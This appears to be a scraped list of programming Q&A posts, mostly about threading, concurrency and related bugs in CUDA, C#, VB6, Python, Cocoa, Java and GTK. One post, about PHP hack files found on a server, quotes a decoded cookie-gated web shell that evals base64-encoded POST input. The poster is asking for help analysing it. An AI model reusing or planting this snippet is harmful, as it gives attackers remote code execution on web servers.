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  • How to optimize Conway's game of life for CUDA?

    - by nlight
    I've written this CUDA kernel for Conway's game of life: global void gameOfLife(float* returnBuffer, int width, int height) { unsigned int x = blockIdx.x*blockDim.x + threadIdx.x; unsigned int y = blockIdx.y*blockDim.y + threadIdx.y; float p = tex2D(inputTex, x, y); float neighbors = 0; neighbors += tex2D(inputTex, x+1, y); neighbors += tex2D(inputTex, x-1, y); neighbors += tex2D(inputTex, x, y+1); neighbors += tex2D(inputTex, x, y-1); neighbors += tex2D(inputTex, x+1, y+1); neighbors += tex2D(inputTex, x-1, y-1); neighbors += tex2D(inputTex, x-1, y+1); neighbors += tex2D(inputTex, x+1, y-1); __syncthreads(); float final = 0; if(neighbors < 2) final = 0; else if(neighbors 3) final = 0; else if(p != 0) final = 1; else if(neighbors == 3) final = 1; __syncthreads(); returnBuffer[x + y*width] = final; } I am looking for errors/optimizations. Parallel programming is quite new to me and I am not sure if I get how to do it right. The rest of the app is: Memcpy input array to a 2d texture inputTex stored in a CUDA array. Output is memcpy-ed from global memory to host and then dealt with. As you can see a thread deals with a single pixel. I am unsure if that is the fastest way as some sources suggest doing a row or more per thread. If I understand correctly NVidia themselves say that the more threads, the better. I would love advice on this on someone with practical experience.

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  • Few Basic Questions in Overriding

    - by Dahlia
    I have few problems with my basic and would be thankful if someone can clear this. What does it mean when I say base *b = new derived; Why would one go for this? We very well separately can create objects for class base and class derived and then call the functions accordingly. I know that this base *b = new derived; is called as Object Slicing but why and when would one go for this? I know why it is not advisable to convert the base class object to derived class object (because base class is not aware of the derived class members and methods). I even read in other StackOverflow threads that if this is gonna be the case then we have to change/re-visit our design. I understand all that, however, I am just curious, Is there any way to do this? class base { public: void f(){cout << "In Base";} }; class derived:public base { public: void f(){cout << "In Derived";} }; int _tmain(int argc, _TCHAR* argv[]) { base b1, b2; derived d1, d2; b2 = d1; d2 = reinterpret_cast<derived*>(b1); //gives error C2440 b1.f(); // Prints In Base d1.f(); // Prints In Derived b2.f(); // Prints In Base d1.base::f(); //Prints In Base d2.f(); getch(); return 0; } In case of my above example, is there any way I could call the base class f() using derived class object? I used d1.base()::f() I just want to know if there any way without using scope resolution operator? Thanks a lot for your time in helping me out!

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  • Micro Second resolution timestamps on windows.

    - by Nikhil
    How to get micro second resolution timestamps on windows? I am loking for something better than QueryPerformanceCounter, QueryPerformanceFrequency (these can only give you an elapsed time since boot, and are not necessarily accurate if they are called on different threads - ie QueryPerformanceCounter may return different results on different CPUs. There are also some processors that adjust their frequency for power saving, which apparently isn't always reflected in their QueryPerformanceFrequency result.) There is this, http://msdn.microsoft.com/en-us/magazine/cc163996.aspx but it does not seem to be solid. This looks great but its not available for download any more. http://www.ibm.com/developerworks/library/i-seconds/ This is another resource. http://www.lochan.org/2005/keith-cl/useful/win32time.html But requires a number of steps, running a helper program plus some init stuff also, I am not sure if it works on multiple CPUs Also looked at the Wikipedia link on the subject which is interesting but not that useful. http://en.wikipedia.org/wiki/Time_Stamp_Counter If the answer is just do this with BSD or Linux, its a lot easier thats fine, but I would like to confirm this and get some explanation as to why this is so hard in windows and so easy in linux and bsd. Its the same damm hardware...

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  • What is wrong with locking non-static fields? What is the correct way to lock a particular instance?

    - by smartcaveman
    Why is it considered bad practice to lock non-static fields? And, if I am not locking non-static fields, then how do I lock an instance method without locking the method on all other instances of the same or derived class? I wrote an example to make my question more clear. public abstract class BaseClass { private readonly object NonStaticLockObject = new object(); private static readonly object StaticLockObject = new object(); protected void DoThreadSafeAction<T>(Action<T> action) where T: BaseClass { var derived = this as T; if(derived == null) { throw new Exception(); } lock(NonStaticLockObject) { action(derived); } } } public class DerivedClass :BaseClass { private readonly Queue<object> _queue; public void Enqueue(object obj) { DoThreadSafeAction<DerivedClass>(x=>x._queue.Enqueue(obj)); } } If I make the lock on the StaticLockObject, then the DoThreadSafeAction method will be locked for all instances of all classes that derive from BaseClass and that is not what I want. I want to make sure that no other threads can call a method on a particular instance of an object while it is locked.

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  • How do i write task? (parallel code)

    - by acidzombie24
    I am impressed with intel thread building blocks. I like how i should write task and not thread code and i like how it works under the hood with my limited understanding (task are in a pool, there wont be 100 threads on 4cores, a task is not guaranteed to run because it isnt on its own thread and may be far into the pool. But it may be run with another related task so you cant do bad things like typical thread unsafe code). I wanted to know more about writing task. I like the 'Task-based Multithreading - How to Program for 100 cores' video here http://www.gdcvault.com/sponsor.php?sponsor_id=1 (currently second last link. WARNING it isnt 'great'). My fav part was 'solving the maze is better done in parallel' which is around the 48min mark (you can click the link on the left side). However i like to see more code examples and some API of how to write task. Does anyone have a good resource? I have no idea how a class or pieces of code may look after pushing it onto a pool or how weird code may look when you need to make a copy of everything and how much of everything is pushed onto a pool.

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  • C++ VB6 interfacing problem

    - by Roshan
    Hi, I'm tearing my hair out trying to solve this one, any insights will be much appreciated: I have a C++ exe which acquires data from some hardware in the main thread and processes it in another thread (thread 2). I use a c++ dll to supply some data processing functions which are called from thread 2. I have a requirement to make another set of data processing functions in VB6. I have thus created a VB6 dll, using the add-in vbAdvance to create a standard dll. When I call functions from within this VB6 dll from the main thread, everything works exactly as expected. When I call functions from this VB6 dll in thread 2, I get an access violation. I've traced the error to the CopyMemory command, it would seem that if this is used within the call from the main thread, it's fine but in a call from the process thread, it causes an exception. Why should this be so? As far as I understand, threads share the same address space. Here is the code from my VB dll Public Sub UserFunInterface(ByVal in1ptr As Long, ByVal out1ptr As Long, ByRef nsamples As Long) Dim myarray1() As Single Dim myarray2() As Single Dim i As Integer ReDim myarray1(0 To nsamples - 1) As Single ReDim myarray2(0 To nsamples - 1) As Single With tsa1din(0) ' defined as safearray1d in a global definitions module .cDims = 1 .cbElements = 4 .cElements = nsamples .pvData = in1ptr End With With tsa1dout .cDims = 1 .cbElements = 4 .cElements = nsamples .pvData = out1ptr End With CopyMemory ByVal VarPtrArray(myarray1), VarPtr(tsa1din(0)), 4 CopyMemory ByVal VarPtrArray(myarray2), VarPtr(tsa1dout), 4 For i = 0 To nsamples - 1 myarray2(i) = myarray1(i) * 2 Next i ZeroMemory ByVal VarPtrArray(myarray1), 4 ZeroMemory ByVal VarPtrArray(myarray2), 4 End Sub

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  • Correct way to do timer function in Python

    - by bwawok
    Hi. I have a GUI application that needs to do something simple in the background (update a wx python progress bar, but that doesn't really matter). I see that there is a threading.timer class.. but there seems to be no way to make it repeat. So if I use the timer, I end up having to make a new thread on every single execution... like : import threading import time def DoTheDew(): print "I did it" t = threading.Timer(1, function=DoTheDew) t.daemon = True t.start() if __name__ == '__main__': t = threading.Timer(1, function=DoTheDew) t.daemon = True t.start() time.sleep(10) This seems like I am making a bunch of threads that do 1 silly thing and die.. why not write it as : import threading import time def DoTheDew(): while True: print "I did it" time.sleep(1) if __name__ == '__main__': t = threading.Thread(target=DoTheDew) t.daemon = True t.start() time.sleep(10) Am I missing some way to make a timer keep doing something? Either of these options seems silly... I am looking for a timer more like a java.util.Timer that can schedule the thread to happen every second... If there isn't a way in Python, which of my above methods is better and why?

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  • how to update UI controls in cocoa application from background thread

    - by AmitSri
    following is .m code: #import "ThreadLabAppDelegate.h" @interface ThreadLabAppDelegate() - (void)processStart; - (void)processCompleted; @end @implementation ThreadLabAppDelegate @synthesize isProcessStarted; - (void)awakeFromNib { //Set levelindicator's maximum value [levelIndicator setMaxValue:1000]; } - (void)dealloc { //Never called while debugging ???? [super dealloc]; } - (IBAction)startProcess:(id)sender { //Set process flag to true self.isProcessStarted=YES; //Start Animation [spinIndicator startAnimation:nil]; //perform selector in background thread [self performSelectorInBackground:@selector(processStart) withObject:nil]; } - (IBAction)stopProcess:(id)sender { //Stop Animation [spinIndicator stopAnimation:nil]; //set process flag to false self.isProcessStarted=NO; } - (void)processStart { int counter = 0; while (counter != 1000) { NSLog(@"Counter : %d",counter); //Sleep background thread to reduce CPU usage [NSThread sleepForTimeInterval:0.01]; //set the level indicator value to showing progress [levelIndicator setIntValue:counter]; //increment counter counter++; } //Notify main thread for process completed [self performSelectorOnMainThread:@selector(processCompleted) withObject:nil waitUntilDone:NO]; } - (void)processCompleted { //Stop Animation [spinIndicator stopAnimation:nil]; //set process flag to false self.isProcessStarted=NO; } @end I need to clear following things as per the above code. How to interrupt/cancel processStart while loop from UI control? I also need to show the counter value in main UI, which i suppose to do with performSelectorOnMainThread and passing argument. Just want to know, is there anyother way to do that? When my app started it is showing 1 thread in Activity Monitor, but when i started the processStart() in background thread its creating two new thread,which makes the total 3 thread until or unless loop get finished.After completing the loop i can see 2 threads. So, my understanding is that, 2 thread created when i called performSelectorInBackground, but what about the thrid thread, from where it got created? What if thread counts get increases on every call of selector.How to control that or my implementation is bad for such kind of requirements? Thanks

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  • Pump Messages During Long Operations + C# (it is urgent)

    - by Newbie
    Hi I have a web service that is doing huge computation and is taking more than a minute. I have generated the proxy file of the web service and then from my client end I am using the dll(of course I generated the proxy dll). My client side code is TimeSeries3D t = new TimeSeries3D(); int portfolioId = 4387919; string[] str = new string[2]; str[0] = "MKT_CAP"; DateRange dr = new DateRange(); dr.mStartDate = DateTime.Today; dr.mEndDate = DateTime.Today; Service1 sc = new Service1(); t = sc.GetAttributesForPortfolio(portfolioId, true, str, dr); But since it is taking to much time for the server to compute, after 1 minute I am receiving an error message The CLR has been unable to transition from COM context 0x33caf30 to COM context 0x33cb0a0 for 60 seconds. The thread that owns the destination context/apartment is most likely either doing a non pumping wait or processing a very long running operation without pumping Windows messages. This situation generally has a negative performance impact and may even lead to the application becoming non responsive or memory usage accumulating continually over time. To avoid this problem, all single threaded apartment (STA) threads should use pumping wait primitives (such as CoWaitForMultipleHandles) and routinely pump messages during long running operations. Kindly guide me what to do? It is very urgent. Thanks

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  • How do I get my Flash CS4 buttons to direct the user to another URL?

    - by goldenfeelings
    My apologies if this has been fully addressed before, but I've read through several other threads and still can't seem to get my file to work. My actionscript code is at the bottom of this message. I created it using instructions from the Adobe website: http://help.adobe.com/en_US/ActionScript/3.0_ProgrammingAS3/WS5b3ccc516d4fbf351e63e3d118a9b90204-7fd7.html I believe I have all of my objects set to the correct type of symbol (button) and all of my instances are named appropriately (see screenshot here: www.footprintsfamilyphoto.com/wp-content/themes/Footprints/images/flash_buttonissue.jpg) Action Script here. Let me know if you have suggestions! (Note: I am very new to Flash): stop (); function families(event:MouseEvent):void { var targetURL:URLRequest = new URLRequest("http://www.footprintsfamilyphoto.com/portfolio/families"); navigateToURL(targetURL); } bc_btn1.addEventListener(MouseEvent.CLICK, families); bc_btn2.addEventListener(MouseEvent.CLICK, families); function families(event:MouseEvent):void { var targetURL:URLRequest = new URLRequest("http://www.footprintsfamilyphoto.com/portfolio/families"); navigateToURL(targetURL); } f_btn1.addEventListener(MouseEvent.CLICK, families); f_btn2.addEventListener(MouseEvent.CLICK, families); function families(event:MouseEvent):void { var targetURL:URLRequest = new URLRequest("http://www.footprintsfamilyphoto.com/portfolio/families"); navigateToURL(targetURL); } cw_btn1.addEventListener(MouseEvent.CLICK, families); cw_btn2.addEventListener(MouseEvent.CLICK, families);

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  • PHP hack files found - help decoding and identifying

    - by akc
    I found a handful of hack files on our web server. I managed to de-obfuscate them a bit -- they all seem to have a part that decodes into a chunk that looks like: if (!empty($_COOKIE['v']) and $_COOKIE['v']=='d'){if (!empty($_POST['c'])) {echo '<textarea rows=28 cols=80>'; $d=base64_decode(str_replace(' ','+',$_POST['c']));if($d) @eval($d); echo '</textarea>';}echo '<form action="" method=post><textarea cols=80 rows=28 name=c></textarea><br><input type=submit></form>';exit;} But this chunk (decoded above) is usually embedded into a larger code snippet. I've shared the code of one of the files in its entirety here: http://pastie.org/3753704 I can sort of see where this code is going, but definitely not an expert at PHP and could use some help figuring out more specifically what it's doing or enabling. Also, if anyone happens to be familiar with this hack, any information on how it works, and where the backdoor and other components of the hack may be hidden would be super helpful and greatly appreciated. I tried to Google parts of the code, to see if others have reported it, but only came up with this link: http://www.daniweb.com/web-development/php/threads/365059/hacked-joomla Thanks!

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  • gpg error - connection already closed?

    - by OopsForgotMyOtherUserName
    omg... hope someone can help me because I am so lost as to what to try next.... I don't know what is causing the error to happen, and I don't see how to figure it out... Keep going between the pgloader.conf examples and what I have, and I don't understand why I keep getting the 'connection already closed' error? The first few lines of my fr.conf is at the very end... I'd really appreciate / love some guidance here... Been trying to get this thing going all morning, and am even getting stuck just on this part... Running this command at the command line: /usr/bin/pgloader -c /var/mybin/pgconfs/fr.conf Yields this in the pgloader.log (with the process just hanging) more /tmp/pgloader.log 27-03-2010 12:22:53 pgloader INFO Logger initialized 27-03-2010 12:22:53 pgloader INFO Reformat path is ['/usr/share/python-support/pgloader/reformat'] 27-03-2010 12:22:53 pgloader INFO Will consider following sections: 27-03-2010 12:22:53 pgloader INFO fixed 27-03-2010 12:22:54 fixed INFO fixed processing 27-03-2010 12:22:54 pgloader INFO All threads are started, wait for them to terminate 27-03-2010 12:22:57 fixed ERROR connection already closed 27-03-2010 12:22:57 fixed INFO closing current database connection [pgsql] host = localhost port = 5432 base = frdb user = username pass = password [fixed] table = fr format = fixed filename = /var/www/fr.txt ...

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  • Request size limitation when using MultipartHttpServletRequest of Spring 3.0

    - by Spiderman
    I'd like to know what is the size limitation if I upload list of files in one client's form submition using HTTP multipart content type. On the server side I am using Spring's MultipartHttpServletRequest to handle the request. mM questions: Is there should be different file size limitation and total request size limitation or file size is the only limitation and the request is capable of uploading 100s of files as lonng as they are not too large. Doest the Spring request wrapper read the complete request and store it in the JAVA heap memory or it store temporaray files of it to be able to use big quota. Is the use of reading the httpservlet request in streaming would change the size limitation than using complete http request read at-once by the application server. What is the bottleneck of this process - Java heap size, the quota of the filesystem on which my web-server runs, the maximum allowed BLOB size that the DataBase in which I am gonna save the file alows? or Spring internal limitations? Related threads that still don't have exact answer to this: does-spring-framework-support-streaming-mode-in-mutlipart-requests is-there-a-way-to-get-raw-http-request-stream-from-java-servlet-handler how-to- drop-body-of-a-request-after-checking-headers-in-servlet apache-commons-fileupload-throws-malformedstreamexception

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  • OnConnect event not firing when using TClientSocket inside a TThread on non-blocking mode

    - by mathematician1975
    I am trying to make use of Borlands TClientSocket component in non-blocking mode inside a multithreaded C++ Windows application. I am creating multiple threads (classes derived from TThread), each of which creates its own TClientSocket object. I then assign member functions of the thread class to act as event handlers for the OnConnect, OnDisconnect and OnSocketError events of the socket. The problem I am having here is that whenever I call the TClientSocket::Open() function from within the TThread::Execute() function, the OnConnect event never fires. However, When I call the Open() function from the VCL thread prior to the TThread::Execute() function getting called, all of the events fire and I can use the thread-socket combination as I would like. Now I have not read anything in documentation that says that TClientSocket should not be used in non-blocking mode when used inside a thread, but it appears to me that there is perhaps something wrong conceptually in the way I am trying to use this class. Borland documentation is quite poor on the subject and these components have now been deprecated so reliable information is hard to come by. Despite being deprecated I have to use them as there is no alternative in the Builder 6 package I have. Can anyone please advise me if there is a right/wrong way to use TThread and a non-blocking TClientSocket in combination. I have never had problems using it as part of the VCL thread and never had problems using TServerSocket before and I really cannot understand why some events are not firing.

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  • How do I send a client-event asynchronously to a GtkWidget?

    - by fret
    I'm trying to send and receive a client-event using a GtkWidget on the win32 platform. The sending code looks like this: GtkWidget *Wnd; GdkNativeWindow Hnd = #ifdef WIN32 GDK_WINDOW_HWND(Wnd->window); #else GDK_WINDOW_XWINDOW(Wnd->window); #endif GdkEvent *Event = gdk_event_new(GDK_CLIENT_EVENT); // fill out Event params gdk_event_send_client_message(Event, Hnd); Receiving code looks like this: static gboolean MyClientEvent(GtkWidget *widget, GdkEventClient *ev, MyWnd *Wnd) { // breakpoint here... return TRUE; } GtkWidget *Wnd = gtk_window_new(GTK_WINDOW_TOPLEVEL); g_signal_connect( G_OBJECT(Wnd), "client-event", G_CALLBACK(MyClientEvent), this); gtk_widget_add_events(Wnd, GDK_ALL_EVENTS_MASK); I used Spy++ to see the message getting sent, so I know the sending side is ok. The receiving side however doesn't get the client-event. I was expecting my breakpoint in the callback to trigger... but it doesn't. I'm not even sure if a GtkWindow can receive a client-event... from past experience on X11 I thought it was pretty much the same as any other GtkWidget in that respect. Maybe on the win32 platform it's kinda different. But still I'd like to be able to get this working. I would like this to work with asynchronously, and in a thread-safe fashion, so that I can send events from worker threads up to the GUI thread.

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  • JMeter CSV Data Set is corrupting Japanese strings stored as proper UTF-8, I get Question Marks instead

    - by Mark Bennett
    I read in search terms from a simple text file to send to a search engine. It works fine in English, but gives me ???? for any Japanese text. Text with mixed English and Japanese does show the English text, so I know it's reading it. What I'm seeing: Input text: Snow Leopard ??????????????? Turns into: Snow Leopard ??????????????? This is in my POST field of an HTTP. If I set JMeter to encode the data, it just puts in the percent sequence for question marks. Interesting note: In the example above there are 15 Japanese characters, and then 15 question marks, so at some point it's being seen as full characters and not just bytes. About the Data: The CSV file is very simple in structure. There's only one field / one column, which I name TERM, and later use as ${TERM} I don't really need full CSV because it's only one string per line. There's no commas or quotes. When I run the Unix "file" command on the file, it says UTF-8 text. I've also verified it in command line and graphical mode on two machines. JMeter CSV Dataset Config: Filename: japanese-searches.csv File encoding: UTF-8 (also tried without) Variable names: TERM Delimiter: , Allow Quoted Data: False (I also tried True, different, but still wrong) Recycle at EOF: True Stop at EOF: False Staring mode: All threads A few things I've tried: Tried Allow quoted Data. It changed to other strange characters. -Dfile.encoding=UTF-8 Tried encoding the POST, but it just turned into a bunch of %nn for question marks And I'm not sure how "debug" just after the each line of the CSV is read in. I think it's corrupted right away, but I'm not sure. If it's only mangled when I reference it, then instead of ${TERM} perhaps there's some other "to bytes" function call. I'll start checking into that. I haven't done anything with the JMeter functions yet.

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  • NSTimer as a timeout mechanism

    - by alexantd
    I'm pretty sure this is really simple, and I'm just missing something obvious. I have an app that needs to download data from a web service for display in a UITableView, and I want to display a UIAlertView if the operation takes more than X seconds to complete. So this is what I've got (simplified for brevity): MyViewController.h @interface MyViewController : UIViewController <UITableViewDelegate, UITableViewDataSource> { NSTimer *timer; } @property (nonatomic, retain) NSTimer *timer; MyViewController.m @implementation MyViewController @synthesize timer; - (void)viewDidLoad { timer = [NSTimer scheduledTimerWithTimeInterval:20 target:self selector:@selector(initializationTimedOut:) userInfo:nil repeats:NO]; [self doSomethingThatTakesALongTime]; [timer invalidate]; } - (void)doSomethingThatTakesALongTime { sleep(30); // for testing only // web service calls etc. go here } - (void)initializationTimedOut:(NSTimer *)theTimer { // show the alert view } My problem is that I'm expecting the [self doSomethingThatTakesALongTime] call to block while the timer keeps counting, and I'm thinking that if it finishes before the timer is done counting down, it will return control of the thread to viewDidLoad where [timer invalidate] will proceed to cancel the timer. Obviously my understanding of how timers/threads work is flawed here because the way the code is written, the timer never goes off. However, if I remove the [timer invalidate], it does.

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  • Thread Safety of C# List<T> for readers

    - by ILIA BROUDNO
    I am planning to create the list once in a static constructor and then have multiple instances of that class read it (and enumerate through it) concurrently without doing any locking. In this article http://msdn.microsoft.com/en-us/library/6sh2ey19.aspx MS describes the issue of thread safety as follows: Public static (Shared in Visual Basic) members of this type are thread safe. Any instance members are not guaranteed to be thread safe. A List can support multiple readers concurrently, as long as the collection is not modified. Enumerating through a collection is intrinsically not a thread-safe procedure. In the rare case where an enumeration contends with one or more write accesses, the only way to ensure thread safety is to lock the collection during the entire enumeration. To allow the collection to be accessed by multiple threads for reading and writing, you must implement your own synchronization. The "Enumerating through a collection is intrinsically not a thread-safe procedure." Statement is what worries me. Does this mean that it is thread safe for readers only scenario, but as long as you do not use enumeration? Or is it safe for my scenario?

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  • Why does instanceof seem to work in a static generic function sometimes?

    - by michael
    Greetings. This is my first post in this site. I thought that because of type erasure, one could not expect the following code to compile, and indeed, it did not compile on an earlier version of Eclipse. My understanding was that instanceof was a run-time operator and could not know about the generic type which would be, by run-time, compiled away: public static <E extends Comparable<? super E>> void SampleForQuestion(E e) { if ( !(e instanceof String) ) System.out.println("I am not a String"); else System.out.println("I am a String"); } However, I was surprised to see that one of your threads actually included some code like this in an answer, and my latest Eclipse (Galileo on Windows with JVM 1.6 rev 20) is perfectly happy with it -- and it works, too. (I did notice that someone said it worked on Eclipse but not in another IDE/JDK in that thread, but don't remember the specifics.) Can someone explain why it works, and more importantly, because I have to guide my students, whether it should be expected to work in the future. Thank you. (I hope the code formatting comes through correctly - it looks indented correctly from my perspective and there are no tabs.)

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  • How do I make my ArrayList Thread-Safe? Another approach to problem in Java?

    - by thechiman
    I have an ArrayList that I want to use to hold RaceCar objects that extend the Thread class as soon as they are finished executing. A class, called Race, handles this ArrayList using a callback method that the RaceCar object calls when it is finished executing. The callback method, addFinisher(RaceCar finisher), adds the RaceCar object to the ArrayList. This is supposed to give the order in which the Threads finish executing. I know that ArrayList isn't synchronized and thus isn't thread-safe. I tried using the Collections.synchronizedCollection(c Collection) method by passing in a new ArrayList and assigning the returned Collection to an ArrayList. However, this gives me a compiler error: Race.java:41: incompatible types found : java.util.Collection required: java.util.ArrayList finishingOrder = Collections.synchronizedCollection(new ArrayList(numberOfRaceCars)); Here is the relevant code: public class Race implements RaceListener { private Thread[] racers; private ArrayList finishingOrder; //Make an ArrayList to hold RaceCar objects to determine winners finishingOrder = Collections.synchronizedCollection(new ArrayList(numberOfRaceCars)); //Fill array with RaceCar objects for(int i=0; i<numberOfRaceCars; i++) { racers[i] = new RaceCar(laps, inputs[i]); //Add this as a RaceListener to each RaceCar ((RaceCar) racers[i]).addRaceListener(this); } //Implement the one method in the RaceListener interface public void addFinisher(RaceCar finisher) { finishingOrder.add(finisher); } What I need to know is, am I using a correct approach and if not, what should I use to make my code thread-safe? Thanks for the help!

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  • Determine if the current thread has low I/O priority

    - by Magnus Hoff
    I have a background thread that does some I/O-intensive background type work. To please the other threads and processes running, I set the thread priority to "background mode" using SetThreadPriority, like this: SetThreadPriority(GetCurrentThread(), THREAD_MODE_BACKGROUND_BEGIN); However, THREAD_MODE_BACKGROUND_BEGIN is only available in Windows Server 2008 or newer, as well as Windows Vista and newer, but the program needs to work well on Windows Server 2003 and XP as well. So the real code is more like this: if (!SetThreadPriority(GetCurrentThread(), THREAD_MODE_BACKGROUND_BEGIN)) { SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_LOWEST); } The problem with this is that on Windows XP it will totally disrupt the system by using too much I/O. I have a plan for a ugly and shameful way of mitigating this problem, but that depends on me being able to determine if the current thread has low I/O priority or not. Now, I know I can store which thread priority I ended up setting, but the control flow in the program is not really well suited for this. I would rather like to be able to test later whether or not the current thread has low I/O priority -- if it is in "background mode". GetThreadPriority does not seem to give me this information. Is there any way to determine if the current thread has low I/O priority?

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  • Create new or update existing entity at one go with JPA

    - by Alex R
    A have a JPA entity that has timestamp field and is distinguished by a complex identifier field. What I need is to update timestamp in an entity that has already been stored, otherwise create and store new entity with the current timestamp. As it turns out the task is not as simple as it seems from the first sight. The problem is that in concurrent environment I get nasty "Unique index or primary key violation" exception. Here's my code: // Load existing entity, if any. Entity e = entityManager.find(Entity.class, id); if (e == null) { // Could not find entity with the specified id in the database, so create new one. e = entityManager.merge(new Entity(id)); } // Set current time... e.setTimestamp(new Date()); // ...and finally save entity. entityManager.flush(); Please note that in this example entity identifier is not generated on insert, it is known in advance. When two or more of threads run this block of code in parallel, they may simultaneously get null from entityManager.find(Entity.class, id) method call, so they will attempt to save two or more entities at the same time, with the same identifier resulting in error. I think that there are few solutions to the problem. Sure I could synchronize this code block with a global lock to prevent concurrent access to the database, but would it be the most efficient way? Some databases support very handy MERGE statement that updates existing or creates new row if none exists. But I doubt that OpenJPA (JPA implementation of my choice) supports it. Event if JPA does not support SQL MERGE, I can always fall back to plain old JDBC and do whatever I want with the database. But I don't want to leave comfortable API and mess with hairy JDBC+SQL combination. There is a magic trick to fix it using standard JPA API only, but I don't know it yet. Please help.

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  • Career day in kindergarten

    - by Péter Török
    I was invited to the kindergarten group of my elder daughter to talk and answer the kids' questions about my profession. There are 26 kids of age 4-6 in the group, plus 3 teachers who are fairly scared of anything related to programming and IT themselves, but bold enough to learn new tricks. I would have about 20-30 minutes, without projector or anything. They have an old computer though, which by its look may be a 486, and I am not even sure if it's functioning. My research turned up excellent earlier threads, with lots of good tips: How would you explain your job to a 5-year old? Career Day: how do I make “computer programmer” sound cool to 8 year olds? What things can I teach a group of children about programming in one day? My situation is different from each of the above though: the latter ones are concerned with older children, while the first one is about talking to a single kid (or elder person)—a group of 20 is a whole different challenge. How can I teach the kids and their teachers about programming in a fun way?

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  • The CLR has been unable to transition from COM context [...] for 60 seconds

    - by BlueRaja The Green Unicorn
    I am getting this error on code that used to work. I have not changed the code. Here is the full error: The CLR has been unable to transition from COM context 0x3322d98 to COM context 0x3322f08 for 60 seconds. The thread that owns the destination context/apartment is most likely either doing a non pumping wait or processing a very long running operation without pumping Windows messages. This situation generally has a negative performance impact and may even lead to the application becoming non responsive or memory usage accumulating continually over time. To avoid this problem, all single threaded apartment (STA) threads should use pumping wait primitives (such as CoWaitForMultipleHandles) and routinely pump messages during long running operations. And here is the code that caused it: var openFileDialog1 = new System.Windows.Forms.OpenFileDialog(); openFileDialog1.DefaultExt = "mdb"; openFileDialog1.Filter = "Management Database (manage.mdb)|manage.mdb"; //Stalls indefinitely on the following line, then gives the CLR error //one minute later. The dialog never opens. if(openFileDialog1.ShowDialog() == DialogResult.OK) { .... } Yes, I am sure the dialog is not open in the background, and no, I don't have any explicit COM code or unmanaged marshalling or multithreading. I have no idea why the OpenFileDialog won't open - any ideas?

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  • Search a string in a file and write the matched lines to another file in Java

    - by Geeta
    For searching a string in a file and writing the lines with matched string to another file it takes 15 - 20 mins for a single zip file of 70MB(compressed state). Is there any ways to minimise it. my source code: getting Zip file entries zipFile = new ZipFile(source_file_name); entries = zipFile.entries(); while (entries.hasMoreElements()) { ZipEntry entry = (ZipEntry)entries.nextElement(); if (entry.isDirectory()) { continue; } searchString(Thread.currentThread(),entry.getName(), new BufferedInputStream (zipFile.getInputStream(entry)), Out_File, search_string, stats); } zipFile.close(); Searching String public void searchString(Thread CThread, String Source_File, BufferedInputStream in, File outfile, String search, String stats) throws IOException { int count = 0; int countw = 0; int countl = 0; String s; String[] str; BufferedReader br2 = new BufferedReader(new InputStreamReader(in)); System.out.println(CThread.currentThread()); while ((s = br2.readLine()) != null) { str = s.split(search); count = str.length - 1; countw += count; //word count if (s.contains(search)) { countl++; //line count WriteFile(CThread,s, outfile.toString(), search); } } br2.close(); in.close(); } -------------------------------------------------------------------------------- public void WriteFile(Thread CThread,String line, String out, String search) throws IOException { BufferedWriter bufferedWriter = null; System.out.println("writre thread"+CThread.currentThread()); bufferedWriter = new BufferedWriter(new FileWriter(out, true)); bufferedWriter.write(line); bufferedWriter.newLine(); bufferedWriter.flush(); } Please help me. Its really taking 40 mins for 10 files using threads and 15 - 20 mins for a single file of 70MB after being compressed. Any ways to minimise the time.

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